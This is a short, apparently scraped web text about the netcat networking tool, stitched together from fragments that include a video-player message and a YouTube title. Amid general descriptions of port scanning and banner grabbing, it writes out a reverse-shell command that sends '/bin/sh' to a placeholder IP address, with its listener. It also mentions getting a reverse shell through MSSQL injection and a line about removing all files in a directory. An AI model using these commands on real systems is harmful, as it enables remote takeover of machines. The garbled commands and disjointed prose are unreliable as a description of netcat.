Nc -lvp 4444 > output. Try this: while true do nc -l -p 1500 -c echo -e HTTP/1.1 200 OKnn (date) done. TCP Port – Listening (adding -u will force udp) TCP Port – Connecting (adding -u will force udp)
Apart from basic telnet functions, it can do various other things like port scanning, banner grabbing, creating socket servers to listen for incoming connections on ports, transfer files from the terminal, etc. Read files (cat command) Remove all currently directory files. Netcat is a terminal application with many features. service for reading from and writing network connections using TCP or UDP.
nc can open TCP connections, send UDP packets, listen on arbitrary TCP and UDP ports, perform port scanning, and deal with both IPv4 and IPv6 Set up a Netcat Reverse Shell (Linux) nc -lvp 443 nc -nv < IP Address > 443-e / bin / sh: Netcat as a Port Scanner. netcat reverse shell via mssql injection when xpcmdshell is available. Netcat HowTo Banner Grabbing, Bind Shell, Reverse Shell and Webserver.It is called the “Swiss-army knife for TCP/IP”. The nc (or netcat) utility is used for a variety of tasks associated with TCP or UDP. If playback doesnt begin shortly, try restarting your. It has amazing features and it is a must-have tool for pen-testing. Netcat 101: Using Netcat for Banner Grabbing, Haktip 84 - YouTube.
Netcat is a tiny tool for linux and windows and it is used for reading and writing data across network connections using TCP or UDP.